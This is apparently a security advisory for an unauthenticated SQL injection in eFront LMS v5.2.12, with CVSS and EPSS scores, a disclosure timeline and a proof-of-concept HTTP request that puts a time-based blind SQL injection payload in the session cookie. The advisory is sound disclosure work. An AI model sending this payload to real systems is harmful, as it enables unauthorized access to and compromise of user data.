6.4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
44.2%
An exploitable SQL injection vulnerability exists in the unauthenticated portion of eFront LMS, versions v5.2.12 and earlier. Specially crafted web request to login page can cause SQL injections, resulting in data compromise. An attacker can use a browser to trigger these vulnerabilities, and no special tools are required.
Epignosis eFront LMS v5.2.12
<https://www.efrontlearning.com/>
6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CWE-89: Improper Neutralization of Special Elements used in an SQL Command (βSQL Injectionβ)
The following parameters are vulnerable to unauthenticated SQL injection attacks:
PHPSessionID
parameter:
GET / HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSIDfb411=aaaaaaaaa%00'[SQL INJECTION]
Upgrade-Insecure-Requests: 1
PoC:
GET / HTTP/1.1
Host: [IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSIDfb411=bbbbbb%00' AND (SELECT 1 FROM (SELECT(SLEEP(8)))a) AND '1'='1
Upgrade-Insecure-Requests: 1
2019-07-29 - Vendor disclosure
2019-07-31 - Vendor acknowledged issues under review
2019-08-13 - Vendor acknowledged work to fix issues & testing
2019-08-30 - Vendor patched/released new version
2019-09-03 - Public disclosure
6.4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
44.2%